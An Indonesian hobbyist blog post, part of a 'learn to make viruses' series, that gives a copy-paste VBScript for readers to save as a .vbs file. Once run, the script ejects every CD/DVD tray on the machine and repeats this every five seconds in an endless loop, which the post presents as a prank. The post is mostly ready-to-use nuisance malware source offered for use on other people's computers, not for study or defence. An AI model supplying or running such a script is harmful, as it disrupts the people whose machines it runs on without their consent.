Masih semangat kan belajar bikin virusnya? kali ini kita akan belajar cara membuat virus yang dapat membuka CD/DVD komputer secara otomatis (kayak ada penunggunya, hihi)
1. Tentu aja buka notepadnya dulu
2. copy script berikut
Set oWMP = CreateObject("WMPlayer.OCX.7")
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count - 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
3. Supaya lebih afdol save dengan format all files dan eksistensi .vbs
0 Komentar:
Posting Komentar
Terimakasih telah meninggalkan Komentar di Didit Blog | Silahkan berkomentar dengan bebas, tidak mengandung SARA | komentar dengan link HIDUP akan dihapus | Terimakasih ^_^